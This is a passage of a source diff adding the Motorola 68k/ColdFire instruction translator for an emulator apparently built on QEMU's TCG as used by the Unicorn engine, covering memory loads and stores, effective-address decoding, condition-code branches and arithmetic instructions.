mactmp; + int done_mac; + + // Unicorn engine + struct uc_struct *uc; +} DisasContext; + +#define DISAS_JUMP_NEXT 4 + +#if defined(CONFIG_USER_ONLY) +#define IS_USER(s) 1 +#else +#define IS_USER(s) s->user +#endif + +#define OS_BYTE 0 +#define OS_WORD 1 +#define OS_LONG 2 +#define OS_SINGLE 4 +#define OS_DOUBLE 5 + +typedef void (*disas_proc)(CPUM68KState *env, DisasContext *s, uint16_t insn); + +#ifdef DEBUG_DISPATCH +#define DISAS_INSN(name) \ + static void real_disas_##name(CPUM68KState *env, DisasContext *s, \ + uint16_t insn); \ + static void disas_##name(CPUM68KState *env, DisasContext *s, \ + uint16_t insn) \ + { \ + qemu_log("Dispatch " #name "\n"); \ + real_disas_##name(s, env, insn); \ + } \ + static void real_disas_##name(CPUM68KState *env, DisasContext *s, \ + uint16_t insn) +#else +#define DISAS_INSN(name) \ + static void disas_##name(CPUM68KState *env, DisasContext *s, \ + uint16_t insn) +#endif + +/* Generate a load from the specified address. Narrow values are + sign extended to full register width. */ +static inline TCGv gen_load(DisasContext * s, int opsize, TCGv addr, int sign) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv tmp; + int index = IS_USER(s); + s->is_mem = 1; + tmp = tcg_temp_new_i32(tcg_ctx); + switch(opsize) { + case OS_BYTE: + if (sign) + tcg_gen_qemu_ld8s(s->uc, tmp, addr, index); + else + tcg_gen_qemu_ld8u(s->uc, tmp, addr, index); + break; + case OS_WORD: + if (sign) + tcg_gen_qemu_ld16s(s->uc, tmp, addr, index); + else + tcg_gen_qemu_ld16u(s->uc, tmp, addr, index); + break; + case OS_LONG: + case OS_SINGLE: + tcg_gen_qemu_ld32u(s->uc, tmp, addr, index); + break; + default: + g_assert_not_reached(); + } + return tmp; +} + +static inline TCGv_i64 gen_load64(DisasContext * s, TCGv addr) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv_i64 tmp; + int index = IS_USER(s); + s->is_mem = 1; + tmp = tcg_temp_new_i64(tcg_ctx); + tcg_gen_qemu_ldf64(s->uc, tmp, addr, index); + return tmp; +} + +/* Generate a store. */ +static inline void gen_store(DisasContext *s, int opsize, TCGv addr, TCGv val) +{ + int index = IS_USER(s); + s->is_mem = 1; + switch(opsize) { + case OS_BYTE: + tcg_gen_qemu_st8(s->uc, val, addr, index); + break; + case OS_WORD: + tcg_gen_qemu_st16(s->uc, val, addr, index); + break; + case OS_LONG: + case OS_SINGLE: + tcg_gen_qemu_st32(s->uc, val, addr, index); + break; + default: + g_assert_not_reached(); + } +} + +static inline void gen_store64(DisasContext *s, TCGv addr, TCGv_i64 val) +{ + int index = IS_USER(s); + s->is_mem = 1; + tcg_gen_qemu_stf64(s->uc, val, addr, index); +} + +typedef enum { + EA_STORE, + EA_LOADU, + EA_LOADS +} ea_what; + +/* Generate an unsigned load if VAL is 0 a signed load if val is -1, + otherwise generate a store. */ +static TCGv gen_ldst(DisasContext *s, int opsize, TCGv addr, TCGv val, + ea_what what) +{ + if (what == EA_STORE) { + TCGContext *tcg_ctx = s->uc->tcg_ctx; + gen_store(s, opsize, addr, val); + return *(TCGv *)tcg_ctx->store_dummy; + } else { + return gen_load(s, opsize, addr, what == EA_LOADS); + } +} + +/* Read a 32-bit immediate constant. */ +static inline uint32_t read_im32(CPUM68KState *env, DisasContext *s) +{ + uint32_t im; + im = ((uint32_t)cpu_lduw_code(env, s->pc)) << 16; + s->pc += 2; + im |= cpu_lduw_code(env, s->pc); + s->pc += 2; + return im; +} + +/* Calculate and address index. */ +static TCGv gen_addr_index(DisasContext *s, uint16_t ext, TCGv tmp) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv add; + int scale; + + add = (ext & 0x8000) ? AREG(ext, 12) : DREG(ext, 12); + if ((ext & 0x800) == 0) { + tcg_gen_ext16s_i32(tcg_ctx, tmp, add); + add = tmp; + } + scale = (ext >> 9) & 3; + if (scale != 0) { + tcg_gen_shli_i32(tcg_ctx, tmp, add, scale); + add = tmp; + } + return add; +} + +/* Handle a base + index + displacement effective addresss. + A NULL_QREG base means pc-relative. */ +static TCGv gen_lea_indexed(CPUM68KState *env, DisasContext *s, int opsize, + TCGv base) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + uint32_t offset; + uint16_t ext; + TCGv add; + TCGv tmp; + uint32_t bd, od; + + offset = s->pc; + ext = cpu_lduw_code(env, s->pc); + s->pc += 2; + + if ((ext & 0x800) == 0 && !m68k_feature(s->env, M68K_FEATURE_WORD_INDEX)) + return *(TCGv *)tcg_ctx->NULL_QREG; + + if (ext & 0x100) { + /* full extension word format */ + if (!m68k_feature(s->env, M68K_FEATURE_EXT_FULL)) + return *(TCGv *)tcg_ctx->NULL_QREG; + + if ((ext & 0x30) > 0x10) { + /* base displacement */ + if ((ext & 0x30) == 0x20) { + bd = (int16_t)cpu_lduw_code(env, s->pc); + s->pc += 2; + } else { + bd = read_im32(env, s); + } + } else { + bd = 0; + } + tmp = tcg_temp_new(tcg_ctx); + if ((ext & 0x44) == 0) { + /* pre-index */ + add = gen_addr_index(s, ext, tmp); + } else { + add = *(TCGv *)tcg_ctx->NULL_QREG; + } + if ((ext & 0x80) == 0) { + /* base not suppressed */ + if (IS_NULL_QREG(base)) { + base = tcg_const_i32(tcg_ctx, offset + bd); + bd = 0; + } + if (!IS_NULL_QREG(add)) { + tcg_gen_add_i32(tcg_ctx, tmp, add, base); + add = tmp; + } else { + add = base; + } + } + if (!IS_NULL_QREG(add)) { + if (bd != 0) { + tcg_gen_addi_i32(tcg_ctx, tmp, add, bd); + add = tmp; + } + } else { + add = tcg_const_i32(tcg_ctx, bd); + } + if ((ext & 3) != 0) { + /* memory indirect */ + base = gen_load(s, OS_LONG, add, 0); + if ((ext & 0x44) == 4) { + add = gen_addr_index(s, ext, tmp); + tcg_gen_add_i32(tcg_ctx, tmp, add, base); + add = tmp; + } else { + add = base; + } + if ((ext & 3) > 1) { + /* outer displacement */ + if ((ext & 3) == 2) { + od = (int16_t)cpu_lduw_code(env, s->pc); + s->pc += 2; + } else { + od = read_im32(env, s); + } + } else { + od = 0; + } + if (od != 0) { + tcg_gen_addi_i32(tcg_ctx, tmp, add, od); + add = tmp; + } + } + } else { + /* brief extension word format */ + tmp = tcg_temp_new(tcg_ctx); + add = gen_addr_index(s, ext, tmp); + if (!IS_NULL_QREG(base)) { + tcg_gen_add_i32(tcg_ctx, tmp, add, base); + if ((int8_t)ext) + tcg_gen_addi_i32(tcg_ctx, tmp, tmp, (int8_t)ext); + } else { + tcg_gen_addi_i32(tcg_ctx, tmp, add, offset + (int8_t)ext); + } + add = tmp; + } + return add; +} + +/* Update the CPU env CC_OP state. */ +static inline void gen_flush_cc_op(DisasContext *s) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + if (s->cc_op != CC_OP_DYNAMIC) + tcg_gen_movi_i32(tcg_ctx, *(TCGv *)tcg_ctx->QREG_CC_OP, s->cc_op); +} + +/* Evaluate all the CC flags. */ +static inline void gen_flush_flags(DisasContext *s) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + if (s->cc_op == CC_OP_FLAGS) + return; + gen_flush_cc_op(s); + gen_helper_flush_flags(tcg_ctx, tcg_ctx->cpu_env, *(TCGv *)tcg_ctx->QREG_CC_OP); + s->cc_op = CC_OP_FLAGS; +} + +static void gen_logic_cc(DisasContext *s, TCGv val) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + tcg_gen_mov_i32(tcg_ctx, *(TCGv *)tcg_ctx->QREG_CC_DEST, val); + s->cc_op = CC_OP_LOGIC; +} + +static void gen_update_cc_add(DisasContext *s, TCGv dest, TCGv src) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + tcg_gen_mov_i32(tcg_ctx, *(TCGv *)tcg_ctx->QREG_CC_DEST, dest); + tcg_gen_mov_i32(tcg_ctx, *(TCGv *)tcg_ctx->QREG_CC_SRC, src); +} + +static inline int opsize_bytes(int opsize) +{ + switch (opsize) { + case OS_BYTE: return 1; + case OS_WORD: return 2; + case OS_LONG: return 4; + case OS_SINGLE: return 4; + case OS_DOUBLE: return 8; + default: + g_assert_not_reached(); + return 0; + } + + return 0; +} + +/* Assign value to a register. If the width is less than the register width + only the low part of the register is set. */ +static void gen_partset_reg(DisasContext *s, int opsize, TCGv reg, TCGv val) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv tmp; + switch (opsize) { + case OS_BYTE: + tcg_gen_andi_i32(tcg_ctx, reg, reg, 0xffffff00); + tmp = tcg_temp_new(tcg_ctx); + tcg_gen_ext8u_i32(tcg_ctx, tmp, val); + tcg_gen_or_i32(tcg_ctx, reg, reg, tmp); + break; + case OS_WORD: + tcg_gen_andi_i32(tcg_ctx, reg, reg, 0xffff0000); + tmp = tcg_temp_new(tcg_ctx); + tcg_gen_ext16u_i32(tcg_ctx, tmp, val); + tcg_gen_or_i32(tcg_ctx, reg, reg, tmp); + break; + case OS_LONG: + case OS_SINGLE: + tcg_gen_mov_i32(tcg_ctx, reg, val); + break; + default: + g_assert_not_reached(); + } +} + +/* Sign or zero extend a value. */ +static inline TCGv gen_extend(DisasContext *s, TCGv val, int opsize, int sign) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv tmp; + + switch (opsize) { + case OS_BYTE: + tmp = tcg_temp_new(tcg_ctx); + if (sign) + tcg_gen_ext8s_i32(tcg_ctx, tmp, val); + else + tcg_gen_ext8u_i32(tcg_ctx, tmp, val); + break; + case OS_WORD: + tmp = tcg_temp_new(tcg_ctx); + if (sign) + tcg_gen_ext16s_i32(tcg_ctx, tmp, val); + else + tcg_gen_ext16u_i32(tcg_ctx, tmp, val); + break; + case OS_LONG: + case OS_SINGLE: + tmp = val; + break; + default: + g_assert_not_reached(); + } + return tmp; +} + +/* Generate code for an "effective address". Does not adjust the base + register for autoincrement addressing modes. */ +static TCGv gen_lea(CPUM68KState *env, DisasContext *s, uint16_t insn, + int opsize) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv reg; + TCGv tmp; + uint16_t ext; + uint32_t offset; + + switch ((insn >> 3) & 7) { + case 0: /* Data register direct. */ + case 1: /* Address register direct. */ + return *(TCGv *)tcg_ctx->NULL_QREG; + case 2: /* Indirect register */ + case 3: /* Indirect postincrement. */ + return AREG(insn, 0); + case 4: /* Indirect predecrememnt. */ + reg = AREG(insn, 0); + tmp = tcg_temp_new(tcg_ctx); + tcg_gen_subi_i32(tcg_ctx, tmp, reg, opsize_bytes(opsize)); + return tmp; + case 5: /* Indirect displacement. */ + reg = AREG(insn, 0); + tmp = tcg_temp_new(tcg_ctx); + ext = cpu_lduw_code(env, s->pc); + s->pc += 2; + tcg_gen_addi_i32(tcg_ctx, tmp, reg, (int16_t)ext); + return tmp; + case 6: /* Indirect index + displacement. */ + reg = AREG(insn, 0); + return gen_lea_indexed(env, s, opsize, reg); + case 7: /* Other */ + switch (insn & 7) { + case 0: /* Absolute short. */ + offset = cpu_ldsw_code(env, s->pc); + s->pc += 2; + return tcg_const_i32(tcg_ctx, offset); + case 1: /* Absolute long. */ + offset = read_im32(env, s); + return tcg_const_i32(tcg_ctx, offset); + case 2: /* pc displacement */ + offset = s->pc; + offset += cpu_ldsw_code(env, s->pc); + s->pc += 2; + return tcg_const_i32(tcg_ctx, offset); + case 3: /* pc index+displacement. */ + return gen_lea_indexed(env, s, opsize, *(TCGv *)tcg_ctx->NULL_QREG); + case 4: /* Immediate. */ + default: + return *(TCGv *)tcg_ctx->NULL_QREG; + } + } + /* Should never happen. */ + return *(TCGv *)tcg_ctx->NULL_QREG; +} + +/* Helper function for gen_ea. Reuse the computed address between the + for read/write operands. */ +static inline TCGv gen_ea_once(CPUM68KState *env, DisasContext *s, + uint16_t insn, int opsize, TCGv val, + TCGv *addrp, ea_what what) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv tmp; + + if (addrp && what == EA_STORE) { + tmp = *addrp; + } else { + tmp = gen_lea(env, s, insn, opsize); + if (IS_NULL_QREG(tmp)) + return tmp; + if (addrp) + *addrp = tmp; + } + return gen_ldst(s, opsize, tmp, val, what); +} + +/* Generate code to load/store a value from/into an EA. If VAL > 0 this is + a write otherwise it is a read (0 == sign extend, -1 == zero extend). + ADDRP is non-null for readwrite operands. */ +static TCGv gen_ea(CPUM68KState *env, DisasContext *s, uint16_t insn, + int opsize, TCGv val, TCGv *addrp, ea_what what) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv reg; + TCGv result; + uint32_t offset; + + switch ((insn >> 3) & 7) { + case 0: /* Data register direct. */ + reg = DREG(insn, 0); + if (what == EA_STORE) { + gen_partset_reg(s, opsize, reg, val); + return *(TCGv *)tcg_ctx->store_dummy; + } else { + return gen_extend(s, reg, opsize, what == EA_LOADS); + } + case 1: /* Address register direct. */ + reg = AREG(insn, 0); + if (what == EA_STORE) { + tcg_gen_mov_i32(tcg_ctx, reg, val); + return *(TCGv *)tcg_ctx->store_dummy; + } else { + return gen_extend(s, reg, opsize, what == EA_LOADS); + } + case 2: /* Indirect register */ + reg = AREG(insn, 0); + return gen_ldst(s, opsize, reg, val, what); + case 3: /* Indirect postincrement. */ + reg = AREG(insn, 0); + result = gen_ldst(s, opsize, reg, val, what); + /* ??? This is not exception safe. The instruction may still + fault after this point. */ + if (what == EA_STORE || !addrp) + tcg_gen_addi_i32(tcg_ctx, reg, reg, opsize_bytes(opsize)); + return result; + case 4: /* Indirect predecrememnt. */ + { + TCGv tmp; + if (addrp && what == EA_STORE) { + tmp = *addrp; + } else { + tmp = gen_lea(env, s, insn, opsize); + if (IS_NULL_QREG(tmp)) + return tmp; + if (addrp) + *addrp = tmp; + } + result = gen_ldst(s, opsize, tmp, val, what); + /* ??? This is not exception safe. The instruction may still + fault after this point. */ + if (what == EA_STORE || !addrp) { + reg = AREG(insn, 0); + tcg_gen_mov_i32(tcg_ctx, reg, tmp); + } + } + return result; + case 5: /* Indirect displacement. */ + case 6: /* Indirect index + displacement. */ + return gen_ea_once(env, s, insn, opsize, val, addrp, what); + case 7: /* Other */ + switch (insn & 7) { + case 0: /* Absolute short. */ + case 1: /* Absolute long. */ + case 2: /* pc displacement */ + case 3: /* pc index+displacement. */ + return gen_ea_once(env, s, insn, opsize, val, addrp, what); + case 4: /* Immediate. */ + /* Sign extend values for consistency. */ + switch (opsize) { + case OS_BYTE: + if (what == EA_LOADS) { + offset = cpu_ldsb_code(env, s->pc + 1); + } else { + offset = cpu_ldub_code(env, s->pc + 1); + } + s->pc += 2; + break; + case OS_WORD: + if (what == EA_LOADS) { + offset = cpu_ldsw_code(env, s->pc); + } else { + offset = cpu_lduw_code(env, s->pc); + } + s->pc += 2; + break; + case OS_LONG: + offset = read_im32(env, s); + break; + default: + // Should not happen : for OS_SIGNLE + return *(TCGv *)tcg_ctx->NULL_QREG; + } + return tcg_const_i32(tcg_ctx, offset); + default: + return *(TCGv *)tcg_ctx->NULL_QREG; + } + } + /* Should never happen. */ + return *(TCGv *)tcg_ctx->NULL_QREG; +} + +/* This generates a conditional branch, clobbering all temporaries. */ +static void gen_jmpcc(DisasContext *s, int cond, int l1) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv tmp; + + /* TODO: Optimize compare/branch pairs rather than always flushing + flag state to CC_OP_FLAGS. */ + gen_flush_flags(s); + switch (cond) { + case 0: /* T */ + tcg_gen_br(tcg_ctx, l1); + break; + case 1: /* F */ + break; + case 2: /* HI (!C && !Z) */ + tmp = tcg_temp_new(tcg_ctx); + tcg_gen_andi_i32(tcg_ctx, tmp, *(TCGv *)tcg_ctx->QREG_CC_DEST, CCF_C | CCF_Z); + tcg_gen_brcondi_i32(tcg_ctx, TCG_COND_EQ, tmp, 0, l1); + break; + case 3: /* LS (C || Z) */ + tmp = tcg_temp_new(tcg_ctx); + tcg_gen_andi_i32(tcg_ctx, tmp, *(TCGv *)tcg_ctx->QREG_CC_DEST, CCF_C | CCF_Z); + tcg_gen_brcondi_i32(tcg_ctx, TCG_COND_NE, tmp, 0, l1); + break; + case 4: /* CC (!C) */ + tmp = tcg_temp_new(tcg_ctx); + tcg_gen_andi_i32(tcg_ctx, tmp, *(TCGv *)tcg_ctx->QREG_CC_DEST, CCF_C); + tcg_gen_brcondi_i32(tcg_ctx, TCG_COND_EQ, tmp, 0, l1); + break; + case 5: /* CS (C) */ + tmp = tcg_temp_new(tcg_ctx); + tcg_gen_andi_i32(tcg_ctx, tmp, *(TCGv *)tcg_ctx->QREG_CC_DEST, CCF_C); + tcg_gen_brcondi_i32(tcg_ctx, TCG_COND_NE, tmp, 0, l1); + break; + case 6: /* NE (!Z) */ + tmp = tcg_temp_new(tcg_ctx); + tcg_gen_andi_i32(tcg_ctx, tmp, *(TCGv *)tcg_ctx->QREG_CC_DEST, CCF_Z); + tcg_gen_brcondi_i32(tcg_ctx, TCG_COND_EQ, tmp, 0, l1); + break; + case 7: /* EQ (Z) */ + tmp = tcg_temp_new(tcg_ctx); + tcg_gen_andi_i32(tcg_ctx, tmp, *(TCGv *)tcg_ctx->QREG_CC_DEST, CCF_Z); + tcg_gen_brcondi_i32(tcg_ctx, TCG_COND_NE, tmp, 0, l1); + break; + case 8: /* VC (!V) */ + tmp = tcg_temp_new(tcg_ctx); + tcg_gen_andi_i32(tcg_ctx, tmp, *(TCGv *)tcg_ctx->QREG_CC_DEST, CCF_V); + tcg_gen_brcondi_i32(tcg_ctx, TCG_COND_EQ, tmp, 0, l1); + break; + case 9: /* VS (V) */ + tmp = tcg_temp_new(tcg_ctx); + tcg_gen_andi_i32(tcg_ctx, tmp, *(TCGv *)tcg_ctx->QREG_CC_DEST, CCF_V); + tcg_gen_brcondi_i32(tcg_ctx, TCG_COND_NE, tmp, 0, l1); + break; + case 10: /* PL (!N) */ + tmp = tcg_temp_new(tcg_ctx); + tcg_gen_andi_i32(tcg_ctx, tmp, *(TCGv *)tcg_ctx->QREG_CC_DEST, CCF_N); + tcg_gen_brcondi_i32(tcg_ctx, TCG_COND_EQ, tmp, 0, l1); + break; + case 11: /* MI (N) */ + tmp = tcg_temp_new(tcg_ctx); + tcg_gen_andi_i32(tcg_ctx, tmp, *(TCGv *)tcg_ctx->QREG_CC_DEST, CCF_N); + tcg_gen_brcondi_i32(tcg_ctx, TCG_COND_NE, tmp, 0, l1); + break; + case 12: /* GE (!(N ^ V)) */ + tmp = tcg_temp_new(tcg_ctx); + assert(CCF_V == (CCF_N >> 2)); + tcg_gen_shri_i32(tcg_ctx, tmp, *(TCGv *)tcg_ctx->QREG_CC_DEST, 2); + tcg_gen_xor_i32(tcg_ctx, tmp, tmp, *(TCGv *)tcg_ctx->QREG_CC_DEST); + tcg_gen_andi_i32(tcg_ctx, tmp, tmp, CCF_V); + tcg_gen_brcondi_i32(tcg_ctx, TCG_COND_EQ, tmp, 0, l1); + break; + case 13: /* LT (N ^ V) */ + tmp = tcg_temp_new(tcg_ctx); + assert(CCF_V == (CCF_N >> 2)); + tcg_gen_shri_i32(tcg_ctx, tmp, *(TCGv *)tcg_ctx->QREG_CC_DEST, 2); + tcg_gen_xor_i32(tcg_ctx, tmp, tmp, *(TCGv *)tcg_ctx->QREG_CC_DEST); + tcg_gen_andi_i32(tcg_ctx, tmp, tmp, CCF_V); + tcg_gen_brcondi_i32(tcg_ctx, TCG_COND_NE, tmp, 0, l1); + break; + case 14: /* GT (!(Z || (N ^ V))) */ + tmp = tcg_temp_new(tcg_ctx); + assert(CCF_V == (CCF_N >> 2)); + tcg_gen_andi_i32(tcg_ctx, tmp, *(TCGv *)tcg_ctx->QREG_CC_DEST, CCF_N); + tcg_gen_shri_i32(tcg_ctx, tmp, tmp, 2); + tcg_gen_xor_i32(tcg_ctx, tmp, tmp, *(TCGv *)tcg_ctx->QREG_CC_DEST); + tcg_gen_andi_i32(tcg_ctx, tmp, tmp, CCF_V | CCF_Z); + tcg_gen_brcondi_i32(tcg_ctx, TCG_COND_EQ, tmp, 0, l1); + break; + case 15: /* LE (Z || (N ^ V)) */ + tmp = tcg_temp_new(tcg_ctx); + assert(CCF_V == (CCF_N >> 2)); + tcg_gen_andi_i32(tcg_ctx, tmp, *(TCGv *)tcg_ctx->QREG_CC_DEST, CCF_N); + tcg_gen_shri_i32(tcg_ctx, tmp, tmp, 2); + tcg_gen_xor_i32(tcg_ctx, tmp, tmp, *(TCGv *)tcg_ctx->QREG_CC_DEST); + tcg_gen_andi_i32(tcg_ctx, tmp, tmp, CCF_V | CCF_Z); + tcg_gen_brcondi_i32(tcg_ctx, TCG_COND_NE, tmp, 0, l1); + break; + default: + /* Should ever happen. */ + abort(); + } +} + +DISAS_INSN(scc) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + int l1; + int cond; + TCGv reg; + + l1 = gen_new_label(tcg_ctx); + cond = (insn >> 8) & 0xf; + reg = DREG(insn, 0); + tcg_gen_andi_i32(tcg_ctx, reg, reg, 0xffffff00); + /* This is safe because we modify the reg directly, with no other values + live. */ + gen_jmpcc(s, cond ^ 1, l1); + tcg_gen_ori_i32(tcg_ctx, reg, reg, 0xff); + gen_set_label(tcg_ctx, l1); +} + +/* Force a TB lookup after an instruction that changes the CPU state. */ +static void gen_lookup_tb(DisasContext *s) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + gen_flush_cc_op(s); + tcg_gen_movi_i32(tcg_ctx, *(TCGv *)tcg_ctx->QREG_PC, s->pc); + s->is_jmp = DISAS_UPDATE; +} + +/* Generate a jump to an immediate address. */ +static void gen_jmp_im(DisasContext *s, uint32_t dest) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + gen_flush_cc_op(s); + tcg_gen_movi_i32(tcg_ctx, *(TCGv *)tcg_ctx->QREG_PC, dest); + s->is_jmp = DISAS_JUMP; +} + +/* Generate a jump to the address in qreg DEST. */ +static void gen_jmp(DisasContext *s, TCGv dest) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + gen_flush_cc_op(s); + tcg_gen_mov_i32(tcg_ctx, *(TCGv *)tcg_ctx->QREG_PC, dest); + s->is_jmp = DISAS_JUMP; +} + +static void gen_exception(DisasContext *s, uint32_t where, int nr) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + gen_flush_cc_op(s); + gen_jmp_im(s, where); + gen_helper_raise_exception(tcg_ctx, tcg_ctx->cpu_env, tcg_const_i32(tcg_ctx, nr)); +} + +static inline void gen_addr_fault(DisasContext *s) +{ + gen_exception(s, s->insn_pc, EXCP_ADDRESS); +} + +#define SRC_EA(env, result, opsize, op_sign, addrp) do { \ + result = gen_ea(env, s, insn, opsize, *(TCGv *)tcg_ctx->NULL_QREG, addrp, \ + op_sign ? EA_LOADS : EA_LOADU); \ + if (IS_NULL_QREG(result)) { \ + gen_addr_fault(s); \ + return; \ + } \ + } while (0) + +#define DEST_EA(env, insn, opsize, val, addrp) do { \ + TCGv ea_result = gen_ea(env, s, insn, opsize, val, addrp, EA_STORE); \ + if (IS_NULL_QREG(ea_result)) { \ + gen_addr_fault(s); \ + return; \ + } \ + } while (0) + +/* Generate a jump to an immediate address. */ +static void gen_jmp_tb(DisasContext *s, int n, uint32_t dest) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TranslationBlock *tb; + + tb = s->tb; + if (unlikely(s->singlestep_enabled)) { + gen_exception(s, dest, EXCP_DEBUG); + } else if ((tb->pc & TARGET_PAGE_MASK) == (dest & TARGET_PAGE_MASK) || + (s->pc & TARGET_PAGE_MASK) == (dest & TARGET_PAGE_MASK)) { + tcg_gen_goto_tb(tcg_ctx, n); + tcg_gen_movi_i32(tcg_ctx, *(TCGv *)tcg_ctx->QREG_PC, dest); + tcg_gen_exit_tb(tcg_ctx, (uintptr_t)tb + n); + } else { + gen_jmp_im(s, dest); + tcg_gen_exit_tb(tcg_ctx, 0); + } + s->is_jmp = DISAS_TB_JUMP; +} + +DISAS_INSN(undef_mac) +{ + gen_exception(s, s->pc - 2, EXCP_LINEA); +} + +DISAS_INSN(undef_fpu) +{ + gen_exception(s, s->pc - 2, EXCP_LINEF); +} + +DISAS_INSN(undef) +{ + gen_exception(s, s->pc - 2, EXCP_UNSUPPORTED); +} + +DISAS_INSN(mulw) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv reg; + TCGv tmp; + TCGv src; + int sign; + + sign = (insn & 0x100) != 0; + reg = DREG(insn, 9); + tmp = tcg_temp_new(tcg_ctx); + if (sign) + tcg_gen_ext16s_i32(tcg_ctx, tmp, reg); + else + tcg_gen_ext16u_i32(tcg_ctx, tmp, reg); + SRC_EA(env, src, OS_WORD, sign, NULL); + tcg_gen_mul_i32(tcg_ctx, tmp, tmp, src); + tcg_gen_mov_i32(tcg_ctx, reg, tmp); + /* Unlike m68k, coldfire always clears the overflow bit. */ + gen_logic_cc(s, tmp); +} + +DISAS_INSN(divw) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv reg; + TCGv tmp; + TCGv src; + int sign; + + sign = (insn & 0x100) != 0; + reg = DREG(insn, 9); + if (sign) { + tcg_gen_ext16s_i32(tcg_ctx, *(TCGv *)tcg_ctx->QREG_DIV1, reg); + } else { + tcg_gen_ext16u_i32(tcg_ctx, *(TCGv *)tcg_ctx->QREG_DIV1, reg); + } + SRC_EA(env, src, OS_WORD, sign, NULL); + tcg_gen_mov_i32(tcg_ctx, *(TCGv *)tcg_ctx->QREG_DIV2, src); + if (sign) { + gen_helper_divs(tcg_ctx, tcg_ctx->cpu_env, tcg_const_i32(tcg_ctx, 1)); + } else { + gen_helper_divu(tcg_ctx, tcg_ctx->cpu_env, tcg_const_i32(tcg_ctx, 1)); + } + + tmp = tcg_temp_new(tcg_ctx); + src = tcg_temp_new(tcg_ctx); + tcg_gen_ext16u_i32(tcg_ctx, tmp, *(TCGv *)tcg_ctx->QREG_DIV1); + tcg_gen_shli_i32(tcg_ctx, src, *(TCGv *)tcg_ctx->QREG_DIV2, 16); + tcg_gen_or_i32(tcg_ctx, reg, tmp, src); + s->cc_op = CC_OP_FLAGS; +} + +DISAS_INSN(divl) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv num; + TCGv den; + TCGv reg; + uint16_t ext; + + ext = cpu_lduw_code(env, s->pc); + s->pc += 2; + if (ext & 0x87f8) { + gen_exception(s, s->pc - 4, EXCP_UNSUPPORTED); + return; + } + num = DREG(ext, 12); + reg = DREG(ext, 0); + tcg_gen_mov_i32(tcg_ctx, *(TCGv *)tcg_ctx->QREG_DIV1, num); + SRC_EA(env, den, OS_LONG, 0, NULL); + tcg_gen_mov_i32(tcg_ctx, *(TCGv *)tcg_ctx->QREG_DIV2, den); + if (ext & 0x0800) { + gen_helper_divs(tcg_ctx, tcg_ctx->cpu_env, tcg_const_i32(tcg_ctx, 0)); + } else { + gen_helper_divu(tcg_ctx, tcg_ctx->cpu_env, tcg_const_i32(tcg_ctx, 0)); + } + if ((ext & 7) == ((ext >> 12) & 7)) { + /* div */ + tcg_gen_mov_i32 (tcg_ctx, reg, *(TCGv *)tcg_ctx->QREG_DIV1); + } else { + /* rem */ + tcg_gen_mov_i32 (tcg_ctx, reg, *(TCGv *)tcg_ctx->QREG_DIV2); + } + s->cc_op = CC_OP_FLAGS; +} + +DISAS_INSN(addsub) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv reg; + TCGv dest; + TCGv src; + TCGv tmp; + TCGv addr; + int add; + + add = (insn & 0x4000) != 0; + reg = DREG(insn, 9); + dest = tcg_temp_new(tcg_ctx); + if (insn & 0x100) { + SRC_EA(env, tmp, OS_LONG, 0, &addr); + src = reg; + } else { + tmp = reg; + SRC_EA(env, src, OS_LONG, 0, NULL); + } + if (add) { + tcg_gen_add_i32(tcg_ctx, dest, tmp, src); + gen_helper_xflag_lt(tcg_ctx, *(TCGv *)tcg_ctx->QREG_CC_X, dest, src); + s->cc_op = CC_OP_ADD; + } else { + gen_helper_xflag_lt(tcg_ctx, *(TCGv *)tcg_ctx->QREG_CC_X, tmp, src); + tcg_gen_sub_i32(tcg_ctx, dest, tmp, src); + s->cc_op = CC_OP_SUB; + } + gen_update_cc_add(s, dest, src); + if (insn & 0x100) { + DEST_EA(env, insn, OS_LONG, dest, &addr); + } else { + tcg_gen_mov_i32(tcg_ctx, reg, dest); + } +} + + +/* Reverse the order of the bits in REG. */ +DISAS_INSN(bitrev) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv reg; + reg = DREG(insn, 0); + gen_helper_bitrev(tcg_ctx, reg, reg); +} + +DISAS_INSN(bitop_reg) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + int opsize; + int op; + TCGv src1; + TCGv src2; + TCGv tmp; + TCGv addr; + TCGv dest; + + if ((insn & 0x38) != 0) + opsize = OS_BYTE; + else + opsize = OS_LONG; + op = (insn >> 6) & 3; + SRC_EA(env, src1, opsize, 0, op ? &addr: NULL); + src2 = DREG(insn, 9); + dest = tcg_temp_new(tcg_ctx); + + gen_flush_flags(s); + tmp = tcg_temp_new(tcg_ctx); + if (opsize == OS_BYTE) + tcg_gen_andi_i32(tcg_ctx, tmp, src2, 7); + else + tcg_gen_andi_i32(tcg_ctx, tmp, src2, 31); + src2 = tmp; + tmp = tcg_temp_new(tcg_ctx); + tcg_gen_shr_i32(tcg_ctx, tmp, src1, src2); + tcg_gen_andi_i32(tcg_ctx, tmp, tmp, 1); + tcg_gen_shli_i32(tcg_ctx, tmp, tmp, 2); + /* Clear CCF_Z if bit set. */ + tcg_gen_ori_i32(tcg_ctx, *(TCGv *)tcg_ctx->QREG_CC_DEST, *(TCGv 